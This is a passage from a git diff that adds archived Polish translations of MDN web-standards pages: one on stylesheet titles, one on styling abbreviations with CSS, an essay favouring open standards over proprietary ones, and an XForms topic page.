+</p><p>Zatem dowolny <code>link</code> do arkusza stylów, w którym określony został atrybut <code>title</code> <b>nie może</b> być stały, i może być zignorowany przez przeglądarkę. Każdy z elementów <code>link</code> odwołujący się do arkusza stylów i zawierający atrybut <code>title</code> musi być preferowanym albo alternatywnym arkuszem stylów, zależnie od wartości atrybutu <code>rel</code>.
+</p><p>W dokumencie odwołującym się do alternatywnych arkuszy stylów, preferowany arkusz stylów będzie używany tak długo, póki użytkownik nie wybierze żadnego z arkuszy alternatywnych. Zatem, kiedy dokument jest ładowany przeglądarka użyje wszystkich stałych arkuszy stylów, oraz jednego preferowanego (należy pamiętać, iż tylko jeden z arkuszy powinien być określony jako preferowany). Gdy użytkownik wybierze jeden z arkuszy alternatywnych, arkusz preferowany przestanie być używany, lecz będzie mógł być wybrany ponownie przez użytkownika.
+</p><p>Podstawowym użyciem preferowanego arkusza stylów jest określenie jednego z arkuszy stylów jako "domyślnego" dla prezentacji. Jeśli zostanie wybrany którykolwiek z alternatywnych arkuszy stylów, arkusz preferowany przestaje być używany na korzyść wybranego przez użytkownika alternatywnego arkusza stylów.
+</p>
+<h3 id="Zalecenia"> Zalecenia </h3>
+<p>Twórcy stron powinni upewniać się, że każdy z arkuszy stylów, które powinny być używane zawsze są zadeklarowane jako stałe, a nie preferowane. Cytując, <a class="external" href="http://www.w3.org/TR/HTML401/present/styles.html#h-14.3.1">Specyfikacja HTML 4.01, sekcja 14.3.1</a> określa:
+</p>
+<ul><li> Aby uczynić arkusz stylów stałym, ustaw atrybut <a class="external" href="http://www.w3.org/TR/HTML401/struct/links.html#adef-rel"><code>rel</code></a> równy "stylesheet" i nie ustawiaj atrybutu <a class="external" href="http://www.w3.org/TR/HTML401/struct/global.html#adef-title"><code>title</code></a>.
+</li><li> Aby uczynić arkusz stylów preferowanym, ustaw atrybut <a class="external" href="http://www.w3.org/TR/HTML401/struct/links.html#adef-rel"><code>rel</code></a> równy "stylesheet" i nadaj nazwę temu arkuszowi używając atrybutu <a class="external" href="http://www.w3.org/TR/HTML401/struct/global.html#adef-title"><code>title</code></a>.
+</li></ul>
+<h3 id="Odno.C5.9Bniki"> Odnośniki </h3>
+<ul><li> <a class="external" href="http://www.w3.org/TR/html401/present/styles.html#h-14.3">Specyfikacja HTML 4.01, sekcja 14.3: Zewnętrzne arkusze stylów</a>
+</li></ul>
+<div class="originaldocinfo">
+<h3 id="Informacje_o_dokumencie"> Informacje o dokumencie </h3>
+<ul><li> Autor: Eric A. Meyer
+</li><li> Data ostatniej aktualizacji: December 30th, 2002
+</li><li> Informacje o prawach autorskich: Copyright © 2001-2003 Netscape.
+</li></ul>
+</div>
+{{ languages( { "fr": "fr/Utiliser_des_titres_corrects_avec_des_feuilles_de_styles_externes", "en": "en/Correctly_Using_Titles_With_External_Stylesheets" } ) }}
diff --git a/files/pl/archive/standardy_www/stylizowanie_skrótów_i_akronimów/index.html b/files/pl/archive/standardy_www/stylizowanie_skrótów_i_akronimów/index.html
new file mode 100644
index 0000000000..0f7a6ee703
--- /dev/null
+++ b/files/pl/archive/standardy_www/stylizowanie_skrótów_i_akronimów/index.html
@@ -0,0 +1,44 @@
+---
+title: Stylizowanie skrótów i akronimów
+slug: Archive/Standardy_WWW/Stylizowanie_skrótów_i_akronimów
+tags:
+ - CSS
+ - Dostępność
+ - Wszystkie_kategorie
+translation_of: Archive/Web_Standards/Styling_Abbreviations_and_Acronyms
+---
+<p>
+</p><p><span class="comment">Podsumowanie: Elementy HTML &lt;code&gt;abbr&lt;/code&gt; i &lt;code&gt;acronym&lt;/code&gt; są użytecznymi pomocami w tworzeniu dostępnych stron, jednak ich stylizacja może okazać się zaskakująca. Zobacz, jak można kontrolować ich prezentację bez poświęcania korzyści, jakie dają te elementy.</span>
+</p><p>Wielu autorów zaczyna używać na swoich stronach elementów HTML <code>abbr</code> (skrót) i <code>acronym</code> (akronim). Jest to godne polecenia i zgodnie z <a class="external" href="http://www.w3.org/TR/WCAG10/#gl-abbreviated-and-foreign">Guideline 4 of the Web Content Accessibility Guidelines</a>, obydwa elementy powinny posiadać atrybut <code>title</code>, aby poprawić "czytelność stron internetowych dla wszystkich, w tym ludzi z zaburzeniami poznawczymi, trudnościami w uczeniu się czy też ludzi głuchych".
+</p>
+<h3 id="Problem" name="Problem"> Problem </h3>
+<p>Autorzy zauważyli, że <code>abbr</code> i <code>acronym</code> w Mozilli i związanych z nią przeglądarkach wyświetlane są z kropkowanym "podkreśleniem". Owo podkreślenie nie daje się usunąć za pomocą <code>text-decoration: none</code>. Powód takiej sytuacji można znaleźć w pliku Mozilli &lt;tt&gt;html.css&lt;/tt&gt;:
+</p> <pre>abbr[title], acronym[title] {
+ border-bottom: dotted 1px;
+ }</pre>
+<p>"Podkreślenie" jest w rzeczywistości dolnym obramowaniem.
+</p>
+<h3 id="Rozwi.C4.85zanie" name="Rozwi.C4.85zanie"> Rozwiązanie </h3>
+<p>Jeżeli autor chce usunąć podkreślenie dla <code>abbr</code> i <code>acronym</code>, można to wykonać za pomocą poniższej reguły:
+</p> <pre>abbr[title], acronym[title] {
+ border-bottom-width: 0;
+ }</pre>
+<p>Oczywiście można też zrobić sporo innych rzeczy, jak zmiana stylu czy koloru obramowania, zmiana wyglądu tekstu w tych elementach, użycie nieznacznie innego koloru, itd.
+</p><p>Lepszym wyjściem może być zmniejszenie widocznej grubości ramki bez faktycznego jej usuwania. "Podkreślenie" mówi czytającemu, że wyróżniony wyraz związany jest z pewną dodatkową informacją. W Mozilli po umieszczeniu wskaźnika myszy nad elementem i pozostawieniu go przez chwilę zawartość atrybutu <code>title</code> pojawi się jako "dymek" obok wskaźnika myszy. Usunięcie "podkreślenia" z tych elementów pozbawi czytelników oznakowania, że dostępna jest ta dodatkowa informacja.
+</p>
+<h3 id="Zalecenia" name="Zalecenia"> Zalecenia </h3>
+<ul><li> Jeżeli "podkreślenie" ma zostać usunięte, autor musi nadać elementowi (lub elementom) dolne obramowanie. <code>text-decoration</code> nie ma zastosowania w tej sytuacji.
+</li></ul>
+<h3 id="Odno.C5.9Bniki" name="Odno.C5.9Bniki"> Odnośniki </h3>
+<ul><li> <a class="external" href="http://www.w3.org/TR/WCAG10/">Web Content Accessibility Guidelines 1.0</a>
+</li></ul>
+<div class="originaldocinfo">
+<h3 id="Informacje_o_dokumencie" name="Informacje_o_dokumencie"> Informacje o dokumencie </h3>
+<ul><li> Autor(zy): Eric A. Meyer, Netscape Communications
+</li><li> Ostatnia aktualizacja: opublikowano 9 sierpnia 2002
+</li><li> Informacja o prawach autorskich: Copyright © 2001-2003 Netscape. All rights reserved.
+</li><li> Uwaga: Ten artykuł był pierwotnie częścią witryny DevEdge.
+</li><li> Tłumaczenie: Jan Dudek
+</li></ul>
+</div>
+{{ languages( { "en": "en/Styling_Abbreviations_and_Acronyms", "ja": "ja/Styling_Abbreviations_and_Acronyms" } ) }}
diff --git a/files/pl/archive/standardy_www/wybór_zgodności_ze_standardami_zamiast_praktyk_własnościowych/index.html b/files/pl/archive/standardy_www/wybór_zgodności_ze_standardami_zamiast_praktyk_własnościowych/index.html
new file mode 100644
index 0000000000..4052a985e3
--- /dev/null
+++ b/files/pl/archive/standardy_www/wybór_zgodności_ze_standardami_zamiast_praktyk_własnościowych/index.html
@@ -0,0 +1,104 @@
+---
+title: Wybór zgodności ze standardami zamiast praktyk własnościowych
+slug: >-
+ Archive/Standardy_WWW/Wybór_zgodności_ze_standardami_zamiast_praktyk_własnościowych
+tags:
+ - Standardy_WWW
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Archive/Web_Standards/Choosing_Standards_Compliance_Over_Proprietary_Practices
+---
+<h3 id="Wst.C4.99p" name="Wst.C4.99p">Wstęp</h3>
+
+<p>Istnieje pewna liczba standardów, procedur oraz procesów, którą każda organizacja może wykorzystać. Na wyższym poziomie istnieją dwa podstawowe typy standardów: proceduralny (jak my to robimy) oraz techniczny (czym się kierujemy). Organizacje wdrażają wewnętrzne standardy proceduralne, aby móc wydajnie działać. Mogą także wdrażać zewnętrzne procedury oraz/lub standardy techniczne. Techniczne standardy tradycyjnie były wprowadzane przez konsorcja lub ciała standaryzujące. Standardy techniczne mogą być zarówno publiczne, oparte na standardach lub własnościowe. Celem tego dokumentu jest omówienie i podkreślenie wagi wsparcia otwartych standardów technologicznych, które są zewnętrzne względem organizacji. Jednak zacznijmy dyskusję od spojrzenia w głąb wewnętrznych procedur, procesów i standardów.</p>
+
+<p>Czemu organizacje powinny mieć standardowe procedury na każdym poziomie? Kierowanie się standardami nie jest niczym nowym; organizacje wymagają od swoich pracowników, aby trzymali się pewnych zasad lub zestawu standardów na okrągło. Pagery, karty czasowe, procedury kontroli kont to wszystko są standardy na poziomie grup.</p>
+
+<p>W świecie programowania istnieje potrzeba standardów, ponieważ aplikacje są tworzone między wieloma grupami programistów. Wiele organizacji upublicznia swoje wewnętrzne standardy i procedury programistyczne. Na przykład, organizacja może zdecydować, że C++, Java i JavaScript będą jej podstawowymi językami programistycznymi. Mogą wymagać, aby każdy projekt posiadał Dokumenty Wymagań Marketingowych, Dokumenty Wymagań Produktu, Dokumenty Wymagań Funkcjonalności, Plany Testów Kontroli Jakości i Dokumenty Certyfikujące.</p>
+
+<p>Wraz z rozwojem organizacji, rośnie potrzeba tworzenia procesów zapewniających więcej kontroli, która pozwala łatwiej planować i przewidywać. Z procesami organizacje mogą tworzyć harmonogramy wydań, wdrażać plany marketingowe, analizować rozdział zasobów i wprowadzać poprawki w razie konieczności. Zawierzenie standardom i procesom może wprowadzić dodatkowy poziom elastyczności, ponieważ programowanie staje się przewidywalne. Dodatkowo, standardowe procesy zwiększają zrozumienie przebiegu tworzenia oraz pozwalają ograniczyć koszty.</p>
+
+<h3 id="Popularne_procesy_rozwojowe" name="Popularne_procesy_rozwojowe">Popularne procesy rozwojowe</h3>
+
+<p>Kiedy organizacja rozrasta się, menedżerowie i inżynierowie spostrzegają jak ważne jest pilnowanie tych procesów. Kiedy zespół przedstawia projekt, następuje jego ocena pod względem kompatybilności projektu z całkowitą strategią budżetową. Pion marketingu musi następnie przeanalizować możliwości promocyjne danej aplikacji/produktu, a następnie przeprowadzić dogłębną techniczną ocenę aplikacji oraz badania rozwojowe. Jeżeli projekt zostaje zaakceptowany, zebrane informacje, analizy i badania są wiązane w tzw. Request For Proposal (RFP).</p>
+
+<p>Taka sytuacja zdarza się dość często: większość organizacji posiada podstawowy proces zarządzania projektem dla każdego produktu lub usługi. Wewnętrzne procesy organizacji są dobrze dopasowane do pracy w środowisku kulturowym danej firmy. Właśnie w takim momencie tworzy się standard rozwojowy - pojawia się konieczność przestrzegania go przez wszystkich.</p>
+
+<p>Bardzo łatwo złapać się w pętlę ślepej realizacji założeń, zapominając po co organizacjom procesy. Przede wszystkim organizacje korzystają z nich, ponieważ to pozwala oszczędzić pieniądze, czas i zasoby. Są też inne powody - podział zadań, punkty kontrolne, harmonogramy itd. Końcowym efektem powinien być proces pozwalający zmaksymalizować wydajność organizacji.</p>
+
+<h3 id="Inne_standardy" name="Inne_standardy">Inne standardy</h3>
+
+<p>Ważne jest również, aby stosować się do innych standardów. Istnieje niezliczona ilość organizacji standaryzujących, które wpływają na to jak i dlaczego robimy to, co robimy. Na przykład w obszarze księgowości istnieje FASB (Financial Accounting Standards Board - Rada do Spraw Standardów Rachunkowości Finansowej) oraz IASB (International Accounting Standards Board - Rada ds. Międzynarodowych Standardów Rachunkowości). Oczekuje się od wszystkich firm i przedsiębiorstw, aby przestrzegały zasad ustalonych przez FASB. Gdy kontrolerzy oceniają sytuację finansową organizacji, robią to w oparciu o zasady FASB.</p>
+
+<p>Wracając do rozwoju oprogramowania, istnieje wiele organów standaryzujących, mających wpływ na decyzje dotyczące tego procesu. Na przykład, jeśli jakaś firma tworzy aplikację internetową, powinna ona trzymać się standardów wyznaczonych przez następujące organizacje:</p>
+
+<ul>
+ <li>ANSI (<em><a class="external" href="http://www.ansi.org/">American National Standards Institute</a></em>),</li>
+ <li>ATSC (<em><a class="external" href="http://www.atsc.org/">Advanced Television Systems Committee</a></em>),</li>
+ <li>ECMA (<em><a class="external" href="http://www.ecma-international.org/">European Computer Manufacturers Association</a>: Standardizing Information and Communication Systems</em>),</li>
+ <li>IEEE (<em><a class="external" href="http://www.ieee.org/">Institute of Electrical and Electronics Engineers</a></em>),</li>
+ <li>IETF (<em><a class="external" href="http://www.ietf.org/">Internet Engineering Task Force</a></em>),</li>
+ <li>IRTF (<em><a class="external" href="http://www.irtf.org/">Internet Research Task Force</a></em>),</li>
+ <li>ISO (<em><a class="external" href="http://www.iso.org/">International Standards Organization</a></em>),</li>
+ <li>ITU (<em><a class="external" href="http://www.itu.org/">International Telecommunication Union</a></em>),</li>
+ <li>OASIS (<em><a class="external" href="http://www.oasis-open.org">Organization for the Advancement of Structured Information Standards</a></em>),</li>
+ <li>OMA (<em><a class="external" href="http://www.openmobilealliance.org/">Open Mobile Alliance</a></em> (formalnie WAP)),</li>
+ <li>UNI (<em><a class="external" href="http://www.unicode.org/">Unicode Consortium</a></em>) oraz</li>
+ <li>W3C (<em><a class="external" href="http://www.w3.org/">World Wide Web Consortium</a></em>),</li>
+</ul>
+
+<p>Podobnie jak procesy i standardy, które księgowi i menedżerzy projektu muszą przestrzegać, wyżej wymienione organizacje wyznaczają drogę, jaką muszą się kierować inżynierzy rozwoju. Przez podążanie tymi wytycznymi firmy takie jak AOL mogą polepszyć doświadczenia użytkownika, interoperacyjność, użycie kodu, dzielone zasoby oraz popularność - wraz z jednoczesną redukcją kosztów. Omówię każdy z tych elementów poniżej.</p>
+
+<h3 id="Interoperacyjno.C5.9B.C4.87" name="Interoperacyjno.C5.9B.C4.87">Interoperacyjność</h3>
+
+<p>Kluczem do interoperacyjności jest wybór standardu o możliwościach długotrwałego zastosowania. Organizacje muszą być pewne, że standard, który zdecydują się wdrożyć do procesu rozwoju, będzie odpowiedni również w przyszłości. Innymi słowy musi on posiadać długoterminowy potencjał. Fundamentalnym błędem popełnianym przez większość organizacji jest użycie własnościowych metod, oprogramowania, kodu lub standardów. Dla wielu z nich podążanie drogą własnościową okazało się katastrofalne w skutkach.</p>
+
+<p>Dobry przykład: korporacja Xerox. Gdy we wczesnych latach 80 zaprojektował on i rozpoczął rozwój systemu Star Office, Xerox niewątpliwie wykraczał ponad swoje czasy. Była to elegancka stacja robocza z pulpitem zaprojektowanym przez inżynierów z PARC (Palo Alto Research Center - Ośrodek Badawczy Palo Alto). System Star Office oferował funkcjonalność, z którą nie mógły się równać zarówno oferty Microsoftu jak i firmy Apple.</p>
+
+<p>Inżynierzy zaprojektowali Stara na własnościowym systemie operacyjnym znanym pod nazwą Pilot. Pilot posiadał wysoce zintegrowane narzędzie debugujące zwane Co-pilot, które pozwalało Xeroksowi na szybkie i łatwe debugowanie wielu błędów. Jednak tym, co Xerox pominął, było zrozumienie, że pomimo potęgi oprogramowania Pilot i Co-pilot, stacja robocza Star nie mogła rozwijać się w czasie, ponieważ była ona własnościowa. Xerox był ograniczony do unikatowej platformy sprzętowej oraz do zamkniętego systemu operacyjnego. I Xerox zdecydował się pominąć wiele okazji do przeniesienia kodu na inne platformy oraz do dostarczenia otwartego kodu źródłowego. W konsekwencji Xerox musiał ostatecznie zamknąć produkcję stacji roboczej z powodu zmniejszającego się popytu oraz rosnących kosztów rozwoju.</p>
+
+<p>Największy atut Xeroksa stał się przyczyną jego upadku. Wybrał on środowisko własnościowe i przegapił okazję, aby ze środowiska tego zrobić wzorzec - i ustanowić je jako standard.</p>
+
+<p>Podążanie otwartymi standardami posiada dodatkową zaletę. Gdy konieczne jest, aby organizacje oddziaływały ze sobą poprzez sojusze, fuzje lub przejęcie, integracja i interoperacyjność jest znacznie mniej kosztowna, jeśli każdy z zainteresowanych podmiotów przestrzega standardów od początku. Zgodność standardów znacząco redukuje ilość potrzebnej pracy oraz zapewnia zgodne i przewidywalne zachowanie obu podmiotów.</p>
+
+<h3 id="Do.C5.9Bwiadczenia_u.C5.BCytkownika_i_popularno.C5.9B.C4.87" name="Do.C5.9Bwiadczenia_u.C5.BCytkownika_i_popularno.C5.9B.C4.87">Doświadczenia użytkownika i popularność</h3>
+
+<p>Zachowanie klientów i ekspansja rynku są najważniejsze. Gdy klienci decydują się na wybór konkretnego produktu, należy im dostarczyć pozytywnych doświadczeń z niezawodnym, logicznym i przewidywalnym postępowaniem. Z czasem, gdy gust użytkowników stanie się bardziej wyrafinowany, a dodatkowe urządzenia lepiej dostępne, będą oni dochodzić do źródła informacji poprzez różne sposoby - i oczekiwać, że będą one wyglądać i działać w ten sam sposób – niezależnie od tego, czy będą oglądać stronę ze swojego komputera, telefonu komórkowego czy innego podręcznego urządzenia. W rezultacie jeśli organizacja oferuje pakiet produktów, musi ona upewnić się, że doświadczenia użytkownika są zgodne i przewidywalne w zakresie wszystkich produktów.</p>
+
+<h4 id="Zgodno.C5.9B.C4.87" name="Zgodno.C5.9B.C4.87">Zgodność</h4>
+
+<p>Aby osiągnąć sukces, organizacja musi zrozumieć oczekiwania użytkownika i dostarczyć mu zgodnych doświadczeń w zakresie oferowanych produktów. Gdy użyteczność zmienia zbyt wiele ponad produktami, użytkownik zaczyna narzekać.</p>
+
+<p>Apple i Microsoft bardzo dobrze pojęli tę lekcję. Gdy użytkownicy Macintosha przeszli z MacOS 8.x na MacOS 9.x przemiana interfejsu i pulpitu była właściwie niezauważalna. Użytkownicy mogli szybko przenieść się z jednej wersji na kolejną. Jednak gdy został wydany Mac OS X, Apple całkowicie przerobił wygląd interfejsu i pulpitu. Ta zmiana wywołała całkiem duże zamieszanie w społeczności użytkowników Apple'a. Uczyniło to system kłopotliwym w obsłudze, jednak nie na tyle, by użytkownicy nie mogli się dostosować. Apple otrzymał pozytywne jak i negatywne opinie; stracili oni również paru użytkowników, zyskując ostatecznie również nowych.</p>
+
+<p>Przykład tego jak zgodne doświadczenia użytkownika pozwalają na zyskanie jego przywiązania, dostrzec można w tym jak Microsoft zapewnia uogólnione zachowanie pomiędzy aplikacjami. Przykładowo w Wordzie, Excelu i innych aplikacjach Windows wiemy, że naciśnięcie kombinacji <code>CTRL</code>+<code>C</code> w dowolnym produkcie Microsoftu oznacza kopiowanie, Zachowanie to, zgodne i przewidywalne, w rezultacie stało się de-facto standardem. Przyczyną zgodności i przewidywalności jest to, że Microsoft ustanowił firmowy zbiór standardów użyteczności i obsługuje istotne standardy międzynarodowe.</p>
+
+<h4 id="Dost.C4.99pno.C5.9B.C4.87" name="Dost.C4.99pno.C5.9B.C4.87">Dostępność</h4>
+
+<p>Żadna organizacja nie może sobie pozwolić na pomijanie lub ignorowanie standardów dostępności. W środowisku sieciowym standardy dostępności są ściśle powiązane z HTML-em, XML-em, XHTML-em i innymi standardami W3C. Poprzez wcielanie i popieranie wytycznych dostępności, organizacja jest w stanie zaoferować swoją linię produktów lub usług większej i bardziej zróżnicowanej grupie użytkowników.</p>
+
+<h4 id="Zamienno.C5.9B.C4.87" name="Zamienno.C5.9B.C4.87">Zamienność</h4>
+
+<p>Jeśli użytkownik doświadcza zgodnego zachowania w wielu produktach, może on przewidzieć w jaki sposób konkretna czynność lub funkcja zadziała lub jaki będzie miał efekt. Dla dostawcy produktu celem powinien być jak najmniejszy element zaskoczenia. Poprzez zaszczepianie zbioru globalnych celów i standardów w infrastrukturę organizacyjną, organizacja zapewnia swoim użytkownikom końcowym zdolność do interakcji, funkcjonowania, obserwowania i przetwarzania informacji w sposób zgodny w miarę ich przechodzenia z jednego urządzenia do drugiego.</p>
+
+<p>Znaczącą wadą istnienia rozbieżności między aplikacjami jest to, że informacje muszę być powielane, zmieniane lub manipulowane, aby możliwe było ich przetworzenie w rozbieżnych aplikacjach. Stwarza to również problem, jeśli chodzi o narzędzia autorskie dla tych różnych aplikacji. Przykładowo powiedzmy, że mamy kilka ofert aplikacji, które mogą być użyte do przeglądania sieci. Każde z tych aplikacji podążała własną drogą rozwoju i wspierania standardów. Mogą one obsługiwać część międzynarodowych standardów, ale nie w pełni. Które narzędzia powinniśmy użyć? Czy finansowo nie będzie rozważnym krokiem rozwijanie własnościowych narzędzi autorskich dla każdej z tych aplikacji? Jaki w tym przypadku będzie stopień przyswojenia przez rynek kompletu tych aplikacji? W jaki sposób organizacja może zgodnie zyskać udziały na rynku, jeśli jej oferty produktów nie są zintegrowane? I co ważniejsze, co jeśli w ocenie użytkownika jej produkt nie jest zamienny?</p>
+
+<h3 id="Zasoby_dzielone" name="Zasoby_dzielone">Zasoby dzielone</h3>
+
+<p>Gdy organizacja zaszczepia ogólnofirmową politykę standardów dzielonych, może ona przenosić zasoby inżynierii między różnymi projektami. Inżynierowie rozwoju mogą przemieszczać się między projektami w sposób łatwiejszy i z niewielkim lub nawet żadnym przestojem w pracy. Praktyki kodowania są zgodne. Oczekiwania są znane. Istnieje równoważna funkcjonalność pomiędzy aplikacjami oferowanymi przez organizację. I inżynierowie mają większą podstawę doświadczenia, co czyni ich bardziej wartościowymi wewnątrz organizacji.</p>
+
+<p>Na przykład jeśli oczekuje się, że aplikacja internetowa będzie zgodna ze standardami W3C, oczekuje się również, aby każdy inżynier znał i rozumiał te standardy. Wysiłki mające na celu rozwój będą w konsekwencji wspierać podobne poziomy wspierania standardów, co prawdopodobnie doprowadzi kodowania wieloaplikacyjnego lub ponownego użycia danego kodu.</p>
+
+<p>Przykładowo jeśli inżynier rozwoju pisze aplikację spełniającą standard ANSI języka C i C++ oraz pisze kod działający na konkretnej platformie, kod ten może być skompilowany na dowolnej platformie i systemie operacyjnym wspierającym standardy ANSI. Produkty Microsoft są trudne do wyeksportowania, ponieważ wprowadzają one bibliotekę MFC (Microsoft Foundation Classes), która jest standardem działającym tylko na systemie Windows i nie przestrzega ona zasad ANSI.</p>
+
+<h3 id="Kontrola_jako.C5.9Bci" name="Kontrola_jako.C5.9Bci">Kontrola jakości</h3>
+
+<p>Z doświadczenia wiemy, że bez rygorystycznych testów nasze produkty mogą fatalnie zawieść po ich wprowadzeniu na rynek. Wsparcie techniczne jest kosztowne, nie tylko w związku z kosztami zatrudnienia odpowiedniej kadry, ale również z powodu potencjalnego niezadowolenia klienta.</p>
+
+<p>Dlatego właśnie organizacja musi również stosować standardy podczas kontroli jakości. Poprzez przyswojenie zbioru standardów, organizacja kontroli jakości może stworzyć zbiór zestawów testowych, które mogą zostać potem użyte między różnymi projektami. Poprzez ustandaryzowanie zestawów testowych, organizacja kontroli jakości może w łatwy sposób zarządzać, weryfikować i certyfikować testy oraz eliminować zbyteczne testowe bazy danych, w celu zapewnienia zgodności i niezawodności. Jak w przypadku inżynierów, standaryzacja pomaga inżynierom kontroli jakości w szybszym zyskiwaniu doświadczenia, a także w łatwości przenoszenia się pomiędzy projektami.</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>W czasach, gdy organizacje rozszerzają pole działania na coraz więcej urządzeń i platform, integracja i kompatybilność muszą być kluczowymi wymaganiami. Dążenie do stworzenia w przyszłości międzynarodowych standardów umożliwi codzienną realizację między-platformowych produktów. Akceptacja standardów pomoże nie tylko organizacjom, lecz także ułatwi odbiór końcowym użytkownikom aplikacji. Organizacje będą tworzyły produkty o lepszej jakości i przenośności, wyposażając wszystkich w elastyczne orpogramowanie. Ostatecznie, dzięki postępującej standaryzacji, organizacje będą łatwiej i trafniej oceniać postęp i wyniki wewnętrzne.</p>
+
+<p>The most compelling dilemma is how an organization chooses to follow open external standards verses a proprietary de facto standard. Following proprietary de facto standards leaves an organization vulnerable and open to obsolescence when the owner of the de facto changes focus or direction, or abandons the de facto altogether and renders the standard stagnate. On the other hand, by adopting open technology standards and participating in the development and direction of those standards, an organization is providing a path for future development, growth and revenue.</p>
diff --git a/files/pl/archive/web/index.html b/files/pl/archive/web/index.html
new file mode 100644
index 0000000000..6f60d315ff
--- /dev/null
+++ b/files/pl/archive/web/index.html
@@ -0,0 +1,12 @@
+---
+title: Archived open Web documentation
+slug: Archive/Web
+tags:
+ - Archived
+ - NeedsTranslation
+ - TopicStub
+ - Web
+translation_of: Archive/Web
+---
+<p>The documentation listed below is archived, obsolete material about open Web topics.</p>
+<p>{{SubpagesWithSummaries}}</p>
diff --git a/files/pl/archive/web/xforms/index.html b/files/pl/archive/web/xforms/index.html
new file mode 100644
index 0000000000..26cc7274fa
--- /dev/null
+++ b/files/pl/archive/web/xforms/index.html
@@ -0,0 +1,68 @@
+---
+title: XForms
+slug: Archive/Web/XForms
+tags:
+ - Wszystkie_kategorie
+ - XForms
+translation_of: Archive/Web/XForms
+---
+<p>
+</p>
+<div class="callout-box"><b><a class="external" href="http://xformsinstitute.com/essentials/browse/">Istota XForms</a></b><br>
+Przewodnik online dający Ci możliwość poznania XForms.</div>
+<div><b>XForms</b> jest przyszłością formularzy online jak przewiduje W3C. Bazując na innych standardach W3C takich jak <a href="pl/XML_Schema">XML Schema</a>, <a href="pl/XPath">XPath</a> i <a href="pl/XML_Events">XML Events</a>, XForms jest próbą odniesienia się do niektórych ograniczeń obecnego modelu formularzy <a href="pl/HTML">HTML</a>. Pozostałe nowe cechy XForms to odseparowanie danych od wyglądu, silna typizacja, możliwość przesyłania danych <a href="pl/XML">XML</a> do serwera zamiast pary nazwa-wartość oraz tworzenie formularzy w sposób opisowy, co pozwoli na wyświetlanie ich na większej liczbie urządzeń. XForms jest <a class="external" href="http://www.w3.org/MarkUp/Forms/">specyfikacją W3C</a>.</div>
+<div class="callout-box"><b><a class="external" href="http://en.wikibooks.org/wiki/XForms">XForms Tutorial and Cookbook</a> (en)</b><br>
+XForms w formacie Wikibook - ponad 50 przykładów przetestowanych w Firefoksie.</div>
+<div>
+<p>Obsługa XForms może być dodana do przeglądarki Firefox i SeaMonkey poprzez zainstalowanie <a class="external" href="http://www.mozilla.org/projects/xforms">rozszerzenia Mozilla XForms</a>.
+</p>
+</div>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id="Dokumentacja" name="Dokumentacja"> <a>Dokumentacja</a> </h4>
+<dl><dt> <a href="pl/XForms/Rozwi%c4%85zywanie_problem%c3%b3w_z_formularzami">Rozwiązywanie problemów z XForms</a>
+</dt><dd> <small>Mała kolekcja porad jak radzić sobie z niektórymi problemami z formularzami XForms.</small>
+</dd></dl>
+<dl><dt> <a href="pl/XForms/Specjalno%c5%9bci_Mozilla_XForms">Specjalności Mozilla XForms</a>
+</dt><dd> <small>Wyjaśnia gdzie i jak Mozilla XForms rozszerza lub odchodzi od specyfikacji XForms 1.0.</small>
+</dd></dl>
+<dl><dt> <a href="pl/XForms/W%c5%82asne_kontrolki">Własne kontrolki XForms</a>
+</dt><dd> <small>Własne kontrolki pozwalają autorowi formularza na "stylizację" każdej kontrolki XForms poprzez XBL i utworzenie kontrolki <code>input</code> w SVG.</small>
+</dd></dl>
+<dl><dt> <a href="pl/XForms/Preferencje_u%c5%bcytkownika">Preferencje użytkownika XForms</a>
+</dt><dd> <small>Opis zmiennych <code>about:config</code> używanych w XForms.</small>
+</dd></dl>
+<dl><dt> <a href="pl/XForms/Dokumentacja_API">Dokumentacja API XForms</a>
+</dt><dd> <small>Dokumentacja interfejsu XForms.</small>
+</dd></dl>
+<dl><dt> <a href="pl/XForms/Elementy_interfejsu_u%c5%bcytkownika">Dokumentacja elementów UI XForms</a>
+</dt><dd> <small>Dokumentacja elementów interfejsu użytkownika XForms.</small>
+</dd></dl>
+<p><span class="alllinks"><a>Pokaż wszystkie...</a></span>
+</p>
+</td>
+<td>
+<h4 id="Spo.C5.82eczno.C5.9B.C4.87" name="Spo.C5.82eczno.C5.9B.C4.87"> Społeczność </h4>
+<ul><li> Obejrzyj fora Mozilli...
+</li></ul>
+<p>{{ DiscussionList("dev-tech-xforms", "mozilla.dev.tech.xforms") }}
+</p>
+<ul><li> <a class="link-irc" href="irc://irc.mozilla.org/xforms">Kanał #xforms na irc.mozilla.org</a>
+</li><li> <a class="external" href="http://lists.w3.org/Archives/Public/www-forms/">Lista dyskusyjna W3C Forms</a>
+</li><li> <a class="external" href="http://beaufour.dk/blog">Blog techniczny XForms</a>
+</li><li> <a href="pl/XForms/Spo%c5%82eczno%c5%9b%c4%87">Inne odnośniki...</a>
+</li></ul>
+<h4 id="Narz.C4.99dzia" name="Narz.C4.99dzia"> Narzędzia </h4>
+<ul><li> <a class="external" href="http://xformsinstitute.com/validator/">Walidator XForms</a>
+</li><li> <a class="external" href="http://beaufour.dk/index.php?sec=misc&amp;pagename=xforms">XForms Buddy</a>
+</li></ul>
+<p><span class="alllinks"><a>Pokaż wszystkie...</a></span>
+</p>
+<h4 id="Powi.C4.85zane_tematy" name="Powi.C4.85zane_tematy"> Powiązane tematy </h4>
+<dl><dd> <a href="pl/Rozszerzenia">Rozszerzenia</a>, <a href="pl/HTML">HTML</a>, <a href="pl/XHTML">XHTML</a>, <a href="pl/XML">XML</a>, <a href="pl/XPath">XPath</a>
+</dd></dl>
+</td></tr></tbody></table>
+<p><span class="comment">Categories</span>
+</p><p><span class="comment">Interwiki Language Links</span>
+</p><p><br>
+</p>{{ languages( { "en": "en/XForms", "es": "es/XForms", "fr": "fr/XForms", "it": "it/XForms", "ja": "ja/XForms" } ) }}
diff --git a/files/pl/archive/web/xforms/inne_zasoby/index.html b/files/pl/archive/web/xforms/inne_zasoby/index.html
new file mode 100644
index 0000000000..733c2df569
--- /dev/null
+++ b/files/pl/archive/web/xforms/inne_zasoby/index.html
@@ -0,0 +1,16 @@
+---
+title: Inne zasoby
+slug: Archive/Web/XForms/Inne_zasoby
+tags:
+ - Wszystkie_kategorie
+ - XForms
+translation_of: Archive/Web/XForms/Other_Resources
+---
+<p>
+</p>
